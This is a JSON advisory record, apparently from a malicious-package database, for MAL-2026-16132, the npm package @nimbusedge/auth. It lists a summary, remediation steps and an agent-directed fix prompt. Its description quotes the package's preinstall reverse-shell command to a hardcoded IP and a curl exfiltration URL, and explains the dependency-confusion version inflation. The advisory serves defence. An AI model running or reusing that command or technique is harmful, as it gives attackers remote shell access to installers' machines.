{"answers":{"affected":"1 open source package ship an affected version, including @nimbusedge/auth.","exploited":"There is no known exploitation of MAL-2026-16132 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16132 is a malicious package in @nimbusedge/auth, published on 11 Sep 2026."},"fix_prompt":"MAL-2026-16132 is a malicious package: @nimbusedge/auth (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16132/ (Markdown: https://insights.sbomify.com/MAL-2026-16132/index.md)","id":"MAL-2026-16132","markdown":"https://insights.sbomify.com/MAL-2026-16132/index.md","name":"MAL-2026-16132","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a `preinstall` lifecycle script that runs `bash -i \u003e\u0026 /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @nimbusedge/auth (npm)","id":"MAL-2026-16132","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@nimbusedge/auth","purl":"pkg:npm/%40nimbusedge/auth","source":"MAL-2026-16132"}],"products":null,"published":"2026-09-11","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16132/"}